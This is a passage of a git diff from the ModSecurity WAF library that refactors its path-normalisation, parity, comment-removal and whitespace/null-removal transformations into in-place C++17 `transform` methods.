|| (win && (*end == '\\'))) ? 1 : 0; - while (!done && (src <= end) && (dst <= end)) { /* Convert backslash to forward slash on Windows only. */ if (win) { if (*src == '\\') { *src = '/'; - *changed = 1; + changed = true; } if ((src < end) && (*(src + 1) == '\\')) { *(src + 1) = '/'; - *changed = 1; + changed = true; } } @@ -116,7 +80,7 @@ int NormalisePath::normalize_path_inplace(unsigned char *input, int input_len, /* Could it be an empty path segment? */ if ((src != end) && *src == '/') { /* Ignore */ - *changed = 1; + changed = true; goto copy; /* Copy will take care of this. */ } else if (*src == '.') { /* Could it be a back or self reference? */ @@ -153,25 +117,25 @@ int NormalisePath::normalize_path_inplace(unsigned char *input, int input_len, } } - if (done) goto length; /* Skip the copy. */ + if (done) goto skip_copy; /* Skip the copy. */ src++; - *changed = 1; + changed = true; } else if (dst == input) { /* Relative Self-reference? */ - *changed = 1; + changed = true; /* Ignore. */ - if (done) goto length; /* Skip the copy. */ + if (done) goto skip_copy; /* Skip the copy. */ src++; } else if (*(dst - 1) == '/') { /* Self-reference? */ - *changed = 1; + changed = true; /* Ignore. */ - if (done) goto length; /* Skip the copy. */ + if (done) goto skip_copy; /* Skip the copy. */ dst--; src++; } @@ -185,13 +149,13 @@ int NormalisePath::normalize_path_inplace(unsigned char *input, int input_len, /* Skip to the last forward slash when multiple are used. */ if (*src == '/') { - unsigned char *oldsrc = src; + const unsigned char *oldsrc = src; while ((src < end) && ((*(src + 1) == '/') || (win && (*(src + 1) == '\\'))) ) { src++; } - if (oldsrc != src) *changed = 1; + if (oldsrc != src) changed = true; /* Do not copy the forward slash to the root * if it is not a relative path. Instead @@ -199,30 +163,28 @@ int NormalisePath::normalize_path_inplace(unsigned char *input, int input_len, */ if (relative && (dst == input)) { src++; - goto length; /* Skip the copy */ + goto skip_copy; /* Skip the copy */ } } *(dst++) = *(src++); -length: - ldst = (dst - input); +skip_copy: + ; // nop for the goto label to work } /* Make sure that there is not a trailing slash in the * normalized form if there was not one in the original form. */ if (!trailing && (dst > input) && *(dst - 1) == '/') { - ldst--; dst--; } /* Always NUL terminate */ *dst = '\0'; - return ldst; + val.resize(dst - input); + return changed; } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/normalise_path.h b/src/actions/transformations/normalise_path.h index b3869bea04..a1ef89189a 100644 --- a/src/actions/transformations/normalise_path.h +++ b/src/actions/transformations/normalise_path.h @@ -13,37 +13,22 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_NORMALISE_PATH_H_ #define SRC_ACTIONS_TRANSFORMATIONS_NORMALISE_PATH_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class NormalisePath : public Transformation { public: + using Transformation::Transformation; - explicit NormalisePath(const std::string &action); + bool transform(std::string &value, const Transaction *trans) const override; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; - - static int normalize_path_inplace(unsigned char *input, int input_len, - int win, int *changed); + static bool normalize_path_inplace(std::string &val, const bool win); }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_NORMALISE_PATH_H_ diff --git a/src/actions/transformations/normalise_path_win.cc b/src/actions/transformations/normalise_path_win.cc index 6c171a59c4..b60943e155 100644 --- a/src/actions/transformations/normalise_path_win.cc +++ b/src/actions/transformations/normalise_path_win.cc @@ -13,48 +13,17 @@ * */ -#include "src/actions/transformations/normalise_path_win.h" +#include "normalise_path_win.h" -#include +#include "normalise_path.h" -#include -#include -#include -#include -#include -#include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" -#include "src/actions/transformations/normalise_path.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { - - -std::string NormalisePathWin::evaluate(const std::string &value, - Transaction *transaction) { - int changed; - - char *tmp = reinterpret_cast( - malloc(sizeof(char) * value.size() + 1)); - memcpy(tmp, value.c_str(), value.size() + 1); - tmp[value.size()] = '\0'; - - int i = NormalisePath::normalize_path_inplace( - reinterpret_cast(tmp), - value.size(), 1, &changed); - - std::string ret(""); - ret.assign(tmp, i); - free(tmp); - - return ret; +bool NormalisePathWin::transform(std::string &value, const Transaction *trans) const { + return NormalisePath::normalize_path_inplace(value, true); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/normalise_path_win.h b/src/actions/transformations/normalise_path_win.h index a1f8c5f746..0cf11260fc 100644 --- a/src/actions/transformations/normalise_path_win.h +++ b/src/actions/transformations/normalise_path_win.h @@ -13,33 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_NORMALISE_PATH_WIN_H_ #define SRC_ACTIONS_TRANSFORMATIONS_NORMALISE_PATH_WIN_H_ +#include "transformation.h" -namespace modsecurity { -class Transaction; - -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class NormalisePathWin : public Transformation { public: - explicit NormalisePathWin(const std::string &action) - : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_NORMALISE_PATH_WIN_H_ diff --git a/src/actions/transformations/parity_even_7bit.cc b/src/actions/transformations/parity_even_7bit.cc index 2c0be31cd4..d9327b9eb2 100644 --- a/src/actions/transformations/parity_even_7bit.cc +++ b/src/actions/transformations/parity_even_7bit.cc @@ -13,70 +13,15 @@ * */ -#include "src/actions/transformations/parity_even_7bit.h" +#include "parity_even_7bit.h" -#include -#include -#include -#include -#include -#include -#include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { - - -std::string ParityEven7bit::evaluate(const std::string &value, - Transaction *transaction) { - std::string ret; - unsigned char *input; - - input = reinterpret_cast - (malloc(sizeof(char) * value.length()+1)); - - if (input == NULL) { - return ""; - } - - std::memcpy(input, value.c_str(), value.length()+1); - - inplace(input, value.length()); - - ret.assign(reinterpret_cast(input), value.length()); - free(input); - - return ret; +bool ParityEven7bit::transform(std::string &value, const Transaction *trans) const { + return ParityEven7bit::inplace(value); } -bool ParityEven7bit::inplace(unsigned char *input, uint64_t input_len) { - uint64_t i; - - i = 0; - while (i < input_len) { - unsigned int x = input[i]; - - input[i] ^= input[i] >> 4; - input[i] &= 0xf; - - if ((0x6996 >> input[i]) & 1) { - input[i] = x | 0x80; - } else { - input[i] = x & 0x7f; - } - i++; - } - - return true; -} - - -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/parity_even_7bit.h b/src/actions/transformations/parity_even_7bit.h index 08aa88230a..8e107a5da8 100644 --- a/src/actions/transformations/parity_even_7bit.h +++ b/src/actions/transformations/parity_even_7bit.h @@ -13,33 +13,42 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_PARITY_EVEN_7BIT_H_ #define SRC_ACTIONS_TRANSFORMATIONS_PARITY_EVEN_7BIT_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class ParityEven7bit : public Transformation { public: - explicit ParityEven7bit(const std::string &action) : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, Transaction *transaction) override; - static bool inplace(unsigned char *input, uint64_t input_len); -}; + bool transform(std::string &value, const Transaction *trans) const override; + + template + static bool inplace(std::string &value) { + if (value.empty()) return false; -} // namespace transformations -} // namespace actions -} // namespace modsecurity + for(auto &c : value) { + auto &uc = reinterpret_cast(c); + unsigned int x = uc; + + uc ^= uc >> 4; + uc &= 0xf; + + const bool condition = (0x6996 >> uc) & 1; + if (even ? condition : !condition) { + uc = x | 0x80; + } else { + uc = x & 0x7f; + } + } + + return true; + } +}; -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_PARITY_EVEN_7BIT_H_ diff --git a/src/actions/transformations/parity_odd_7bit.cc b/src/actions/transformations/parity_odd_7bit.cc index 5ac38d20dc..865a2754ed 100644 --- a/src/actions/transformations/parity_odd_7bit.cc +++ b/src/actions/transformations/parity_odd_7bit.cc @@ -13,69 +13,16 @@ * */ -#include "src/actions/transformations/parity_odd_7bit.h" +#include "parity_odd_7bit.h" +#include "parity_even_7bit.h" -#include -#include -#include -#include -#include -#include -#include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { - - -std::string ParityOdd7bit::evaluate(const std::string &value, - Transaction *transaction) { - std::string ret; - unsigned char *input; - - input = reinterpret_cast - (malloc(sizeof(char) * value.length()+1)); - - if (input == NULL) { - return ""; - } - - memcpy(input, value.c_str(), value.length()+1); - - inplace(input, value.length()); - - ret.assign(reinterpret_cast(input), value.length()); - free(input); - - return ret; -} - -bool ParityOdd7bit::inplace(unsigned char *input, uint64_t input_len) { - uint64_t i; - - i = 0; - while (i < input_len) { - unsigned int x = input[i]; - - input[i] ^= input[i] >> 4; - input[i] &= 0xf; - - if ((0x6996 >> input[i]) & 1) { - input[i] = x & 0x7f; - } else { - input[i] = x | 0x80; - } - i++; - } - - return true; +bool ParityOdd7bit::transform(std::string &value, const Transaction *trans) const { + return ParityEven7bit::inplace(value); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/parity_odd_7bit.h b/src/actions/transformations/parity_odd_7bit.h index 8b7e34d289..0b9164b912 100644 --- a/src/actions/transformations/parity_odd_7bit.h +++ b/src/actions/transformations/parity_odd_7bit.h @@ -13,33 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_PARITY_ODD_7BIT_H_ #define SRC_ACTIONS_TRANSFORMATIONS_PARITY_ODD_7BIT_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class ParityOdd7bit : public Transformation { public: - explicit ParityOdd7bit(const std::string &action) : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, Transaction *transaction) override; - static bool inplace(unsigned char *input, uint64_t input_len); + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_PARITY_ODD_7BIT_H_ diff --git a/src/actions/transformations/parity_zero_7bit.cc b/src/actions/transformations/parity_zero_7bit.cc index 7bb846362c..54972b93b4 100644 --- a/src/actions/transformations/parity_zero_7bit.cc +++ b/src/actions/transformations/parity_zero_7bit.cc @@ -13,61 +13,26 @@ * */ -#include "src/actions/transformations/parity_zero_7bit.h" +#include "parity_zero_7bit.h" -#include -#include -#include -#include -#include -#include -#include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { +static inline bool inplace(std::string &value) { + if (value.empty()) return false; - -std::string ParityZero7bit::evaluate(const std::string &value, - Transaction *transaction) { - std::string ret; - unsigned char *input; - - input = reinterpret_cast - (malloc(sizeof(char) * value.length()+1)); - - if (input == NULL) { - return ""; + for(auto &c : value) { // cppcheck-suppress constVariableReference ; false positive + ((unsigned char&)c) &= 0x7f; } - memcpy(input, value.c_str(), value.length()+1); - - inplace(input, value.length()); - - ret.assign(reinterpret_cast(input), value.length()); - free(input); - - return ret; + return true; } -bool ParityZero7bit::inplace(unsigned char *input, uint64_t input_len) { - uint64_t i; - - i = 0; - while (i < input_len) { - input[i] &= 0x7f; - i++; - } - - return true; +bool ParityZero7bit::transform(std::string &value, const Transaction *trans) const { + return inplace(value); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/parity_zero_7bit.h b/src/actions/transformations/parity_zero_7bit.h index 4b4ccd23e1..aa9d1bf328 100644 --- a/src/actions/transformations/parity_zero_7bit.h +++ b/src/actions/transformations/parity_zero_7bit.h @@ -13,33 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_PARITY_ZERO_7BIT_H_ #define SRC_ACTIONS_TRANSFORMATIONS_PARITY_ZERO_7BIT_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class ParityZero7bit : public Transformation { public: - explicit ParityZero7bit(const std::string &action) : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, Transaction *transaction) override; - static bool inplace(unsigned char *input, uint64_t input_len); + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_PARITY_ZERO_7BIT_H_ diff --git a/src/actions/transformations/remove_comments.cc b/src/actions/transformations/remove_comments.cc index 043dd9505a..b2fe77bbee 100644 --- a/src/actions/transformations/remove_comments.cc +++ b/src/actions/transformations/remove_comments.cc @@ -13,61 +13,40 @@ * */ -#include "src/actions/transformations/remove_comments.h" +#include "remove_comments.h" -#include -#include -#include -#include -#include -#include -#include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { +static inline int inplace(std::string &value) { + auto input = reinterpret_cast(value.data()); + const auto input_len = value.length(); + bool changed = false, incomment = false; + std::string::size_type i = 0, j = 0; - -std::string RemoveComments::evaluate(const std::string &value, - Transaction *transaction) { - std::string ret; - unsigned char *input; - - input = reinterpret_cast - (malloc(sizeof(char) * value.length()+1)); - - if (input == NULL) { - return ""; - } - - memcpy(input, value.c_str(), value.length()+1); - - uint64_t input_len = value.size(); - uint64_t i, j, incomment; - - i = j = incomment = 0; while (i < input_len) { - if (incomment == 0) { + if (!incomment) { if ((input[i] == '/') && (i + 1 < input_len) && (input[i + 1] == '*')) { - incomment = 1; + incomment = true; + changed = true; i += 2; } else if ((input[i] == '<') && (i + 1 < input_len) && (input[i + 1] == '!') && (i + 2 < input_len) && (input[i+2] == '-') && (i + 3 < input_len) && (input[i + 3] == '-')) { - incomment = 1; + incomment = true; + changed = true; i += 4; } else if ((input[i] == '-') && (i + 1 < input_len) && (input[i + 1] == '-')) { input[i] = ' '; + changed = true; break; } else if (input[i] == '#') { input[i] = ' '; + changed = true; break; } else { input[j] = input[i]; @@ -77,19 +56,13 @@ std::string RemoveComments::evaluate(const std::string &value, } else { if ((input[i] == '*') && (i + 1 < input_len) && (input[i + 1] == '/')) { - incomment = 0; + incomment = false; i += 2; - input[j] = input[i]; - i++; - j++; } else if ((input[i] == '-') && (i + 1 < input_len) && (input[i + 1] == '-') && (i + 2 < input_len) && (input[i+2] == '>')) { - incomment = 0; + incomment = false; i += 3; - input[j] = input[i]; - i++; - j++; } else { i++; } @@ -100,13 +73,14 @@ std::string RemoveComments::evaluate(const std::string &value, input[j++] = ' '; } - ret.assign(reinterpret_cast(input), j); - free(input); + value.resize(j); + return changed; +} + - return ret; +bool RemoveComments::transform(std::string &value, const Transaction *trans) const { + return inplace(value); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/remove_comments.h b/src/actions/transformations/remove_comments.h index 78dd213d69..948536cbf5 100644 --- a/src/actions/transformations/remove_comments.h +++ b/src/actions/transformations/remove_comments.h @@ -13,35 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_REMOVE_COMMENTS_H_ #define SRC_ACTIONS_TRANSFORMATIONS_REMOVE_COMMENTS_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; - -namespace actions { -namespace transformations { +#include "transformation.h" +namespace modsecurity::actions::transformations { class RemoveComments : public Transformation { public: - explicit RemoveComments(const std::string &action) : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; - -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_REMOVE_COMMENTS_H_ diff --git a/src/actions/transformations/remove_comments_char.cc b/src/actions/transformations/remove_comments_char.cc index 529f3a67f3..7e666db31f 100644 --- a/src/actions/transformations/remove_comments_char.cc +++ b/src/actions/transformations/remove_comments_char.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -13,66 +13,51 @@ * */ -#include "src/actions/transformations/remove_comments_char.h" - -#include -#include -#include -#include -#include -#include - -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" - - -namespace modsecurity { -namespace actions { -namespace transformations { - -RemoveCommentsChar::RemoveCommentsChar(const std::string &action) - : Transformation(action) { - this->action_kind = 1; -} - -std::string RemoveCommentsChar::evaluate(const std::string &val, - Transaction *transaction) { - int64_t i; - std::string value(val); - - i = 0; - while (i < value.size()) { - if (value.at(i) == '/' - && (i+1 < value.size()) && value.at(i+1) == '*') { - value.erase(i, 2); - } else if (value.at(i) == '*' - && (i+1 < value.size()) && value.at(i+1) == '/') { - value.erase(i, 2); - } else if (value.at(i) == '<' - && (i+1 < value.size()) - && value.at(i+1) == '!' - && (i+2 < value.size()) - && value.at(i+2) == '-' - && (i+3 < value.size()) - && value.at(i+3) == '-') { - value.erase(i, 4); - } else if (value.at(i) == '-' - && (i+1 < value.size()) && value.at(i+1) == '-' - && (i+2 < value.size()) && value.at(i+2) == '>') { - value.erase(i, 3); - } else if (value.at(i) == '-' - && (i+1 < value.size()) && value.at(i+1) == '-') { - value.erase(i, 2); - } else if (value.at(i) == '#') { - value.erase(i, 1); +#include "remove_comments_char.h" + + +namespace modsecurity::actions::transformations { + + +bool RemoveCommentsChar::transform(std::string &value, const Transaction *trans) const { + char *d = value.data(); + const char *s = d; + const char *e = s + value.size(); + + while (s < e) { + if (*s == '/' + && (s+1 < e) && *(s+1) == '*') { + s += 2; + } else if (*s == '*' + && (s+1 < e) && *(s+1) == '/') { + s += 2; + } else if (*s == '<' + && (s+1 < e) + && *(s+1) == '!' + && (s+2 < e) + && *(s+2) == '-' + && (s+3 < e) + && *(s+3) == '-') { + s += 4; + } else if (*s == '-' + && (s+1 < e) && *(s+1) == '-' + && (s+2 < e) && *(s+2) == '>') { + s += 3; + } else if (*s == '-' + && (s+1 < e) && *(s+1) == '-') { + s += 2; + } else if (*s == '#') { + s += 1; } else { - i++; + *d++ = *s++; } } - return value; + + const auto changed = d != s; + const auto new_len = d - value.c_str(); + value.resize(new_len); + return changed; } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/remove_comments_char.h b/src/actions/transformations/remove_comments_char.h index 722aba5926..d11b0148a3 100644 --- a/src/actions/transformations/remove_comments_char.h +++ b/src/actions/transformations/remove_comments_char.h @@ -13,33 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_REMOVE_COMMENTS_CHAR_H_ #define SRC_ACTIONS_TRANSFORMATIONS_REMOVE_COMMENTS_CHAR_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class RemoveCommentsChar : public Transformation { public: - explicit RemoveCommentsChar(const std::string &action); + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_REMOVE_COMMENTS_CHAR_H_ diff --git a/src/actions/transformations/remove_nulls.cc b/src/actions/transformations/remove_nulls.cc index 5dd576cb49..1d3cc552e6 100644 --- a/src/actions/transformations/remove_nulls.cc +++ b/src/actions/transformations/remove_nulls.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -13,44 +13,15 @@ * */ -#include "src/actions/transformations/remove_nulls.h" +#include "remove_nulls.h" -#include -#include -#include -#include -#include -#include -#include +namespace modsecurity::actions::transformations { -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" - -namespace modsecurity { -namespace actions { -namespace transformations { - - -std::string RemoveNulls::evaluate(const std::string &val, - Transaction *transaction) { - int64_t i; - std::string value(val); - - i = 0; - while (i < value.size()) { - if (value.at(i) == '\0') { - value.erase(i, 1); - } else { - i++; - } - } - - return value; +bool RemoveNulls::transform(std::string &value, const Transaction *trans) const { + return remove_if(value, [](const auto c) { return c == '\0'; }); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/remove_nulls.h b/src/actions/transformations/remove_nulls.h index eeb33b363f..67c90ee018 100644 --- a/src/actions/transformations/remove_nulls.h +++ b/src/actions/transformations/remove_nulls.h @@ -13,34 +13,34 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_REMOVE_NULLS_H_ #define SRC_ACTIONS_TRANSFORMATIONS_REMOVE_NULLS_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +#include + +namespace modsecurity::actions::transformations { class RemoveNulls : public Transformation { public: - explicit RemoveNulls(const std::string &action) - : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; -}; + bool transform(std::string &value, const Transaction *trans) const override; -} // namespace transformations -} // namespace actions -} // namespace modsecurity + template + static bool remove_if(std::string &val, Pred pred) { + const auto old_size = val.size(); + + val.erase( + std::remove_if( + val.begin(), val.end(), pred), + val.end()); + + return val.size() != old_size; + } +}; -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_REMOVE_NULLS_H_ diff --git a/src/actions/transformations/remove_whitespace.cc b/src/actions/transformations/remove_whitespace.cc index b9ffcc0649..f7047f4760 100644 --- a/src/actions/transformations/remove_whitespace.cc +++ b/src/actions/transformations/remove_whitespace.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -13,55 +13,27 @@ * */ -#include "src/actions/transformations/remove_whitespace.h" +#include "remove_whitespace.h" -#include -#include -#include -#include -#include -#include +#include "remove_nulls.h" -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { - -RemoveWhitespace::RemoveWhitespace(const std::string &action) - : Transformation(action) { - this->action_kind = 1; -} - -std::string RemoveWhitespace::evaluate(const std::string &val, - Transaction *transaction) { - std::string value(val); - - int64_t i = 0; +bool RemoveWhitespace::transform(std::string &value, const Transaction *trans) const { const char nonBreakingSpaces = 0xa0; const char nonBreakingSpaces2 = 0xc2; - // loop through all the chars - while (i < value.size()) { + auto pred = [](const auto c) { // remove whitespaces and non breaking spaces (NBSP) - if (std::isspace(static_cast(value[i])) - || (value[i] == nonBreakingSpaces) - || value[i] == nonBreakingSpaces2) { - value.erase(i, 1); - } else { - /* if the space is not a whitespace char, increment counter - counter should not be incremented if a character is erased because - the index erased will be replaced by the following character */ - i++; - } - } + return std::isspace(static_cast(c)) + || c == nonBreakingSpaces + || c == nonBreakingSpaces2; + }; - return value; + return RemoveNulls::remove_if(value, pred); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity + +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/remove_whitespace.h b/src/actions/transformations/remove_whitespace.h index f977914cb0..b95a508b74 100644 --- a/src/actions/transformations/remove_whitespace.h +++ b/src/actions/transformations/remove_whitespace.h @@ -13,33 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_REMOVE_WHITESPACE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_REMOVE_WHITESPACE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class RemoveWhitespace : public Transformation { public: - explicit RemoveWhitespace(const std::string &action); + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_REMOVE_WHITESPACE_H_ diff --git a/src/actions/transformations/replace_comments.cc b/src/actions/transformations/replace_comments.cc index 77e3e3b700..78ae786c73 100644 --- a/src/actions/transformations/replace_comments.cc +++ b/src/actions/transformations/replace_comments.cc @@ -13,54 +13,34 @@ * */ -#include "src/actions/transformations/replace_comments.h" +#include "replace_comments.h" -#include -#include -#include -#include -#include -#include -#include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { +static inline bool inplace(std::string &value) { + auto input = reinterpret_cast(value.data()); + const auto input_len = value.length(); + bool changed = false, incomment = false; + std::string::size_type i = 0, j = 0; -ReplaceComments::ReplaceComments(const std::string &action) - : Transformation(action) { - this->action_kind = 1; -} - -std::string ReplaceComments::evaluate(const std::string &value, - Transaction *transaction) { - uint64_t i, j, incomment; - - char *input = reinterpret_cast( - malloc(sizeof(char) * value.size() + 1)); - memcpy(input, value.c_str(), value.size() + 1); - input[value.size()] = '\0'; - - i = j = incomment = 0; - while (i < value.size()) { - if (incomment == 0) { - if ((input[i] == '/') && (i + 1 < value.size()) + while (i < input_len) { + if (!incomment) { + if ((input[i] == '/') && (i + 1 < input_len) && (input[i + 1] == '*')) { - incomment = 1; + incomment = true; i += 2; + changed = true; } else { input[j] = input[i]; i++; j++; } } else { - if ((input[i] == '*') && (i + 1 < value.size()) + if ((input[i] == '*') && (i + 1 < input_len) && (input[i + 1] == '/')) { - incomment = 0; + incomment = false; i += 2; input[j] = ' '; j++; @@ -74,15 +54,14 @@ std::string ReplaceComments::evaluate(const std::string &value, input[j++] = ' '; } + value.resize(j); + return changed; +} - std::string resp; - resp.append(reinterpret_cast(input), j); - - free(input); - return resp; +bool ReplaceComments::transform(std::string &value, const Transaction *trans) const { + return inplace(value); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity + +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/replace_comments.h b/src/actions/transformations/replace_comments.h index 6808f426c1..db206e538f 100644 --- a/src/actions/transformations/replace_comments.h +++ b/src/actions/transformations/replace_comments.h @@ -13,34 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_REPLACE_COMMENTS_H_ #define SRC_ACTIONS_TRANSFORMATIONS_REPLACE_COMMENTS_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class ReplaceComments : public Transformation { public: + using Transformation::Transformation; - explicit ReplaceComments(const std::string &action) ; - - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_REPLACE_COMMENTS_H_ diff --git a/src/actions/transformations/replace_nulls.cc b/src/actions/transformations/replace_nulls.cc index 0a37149003..9792da5d03 100644 --- a/src/actions/transformations/replace_nulls.cc +++ b/src/actions/transformations/replace_nulls.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use 